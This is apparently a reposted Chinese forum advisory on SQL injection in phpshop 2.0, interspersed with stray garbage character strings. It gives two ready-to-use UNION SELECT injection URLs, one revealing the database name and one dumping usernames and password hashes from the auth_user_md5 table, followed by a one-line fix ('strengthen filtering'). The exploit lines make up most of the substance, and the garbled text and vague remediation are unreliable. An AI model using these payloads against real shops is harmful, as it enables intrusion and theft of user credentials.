phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
* |* K3 Q+ g$ a7 l; `
作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
* E8 S9 N3 e( S  X5 G! i测试地址: windows 7 / ubuntu
' a2 N) X; ]' [9 P( `7 p# A9 d; m* n
* l, y" ]0 F4 Y+ N- v2 f
- O8 \0 N2 ~" \# qSQLi p0c:
) N' U: c8 F% @) J! c
==================

6 T& }& ^2 ]  N: w2 M1 j; bhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
6 B4 `  F: L3 D, v: Qunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
: f: Q. k' ~5 @* c
修复：
加强过滤
0 O$ z; \  Y: `9 P* N& N) g​
8 Z6 Z8 l: l$ J$ l5 q/ \# g6 ~# N